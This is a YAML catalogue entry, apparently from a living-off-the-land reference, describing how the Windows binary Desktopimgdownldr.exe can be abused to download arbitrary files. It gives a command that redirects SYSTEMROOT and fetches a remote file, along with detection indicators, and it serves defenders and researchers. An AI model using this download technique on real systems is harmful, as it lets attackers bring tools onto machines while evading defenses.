--- Name: Desktopimgdownldr.exe Description: Windows binary used to configure lockscreen/desktop image Author: Gal Kristal Created: 2020-06-28 Commands: - Command: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr Description: Downloads the file and sets it as the computer's lockscreen Usecase: Download arbitrary files from a web server Category: Download Privileges: User MitreID: T1105 OperatingSystem: Windows 10 Full_Path: - Path: c:\windows\system32\desktopimgdownldr.exe Code_Sample: - Code: Detection: - IOC: desktopimgdownldr.exe that creates non-image file - IOC: Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl Resources: - Link: https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/ Acknowledgement: - Person: Gal Kristal Handle: '@gal_kristal' ---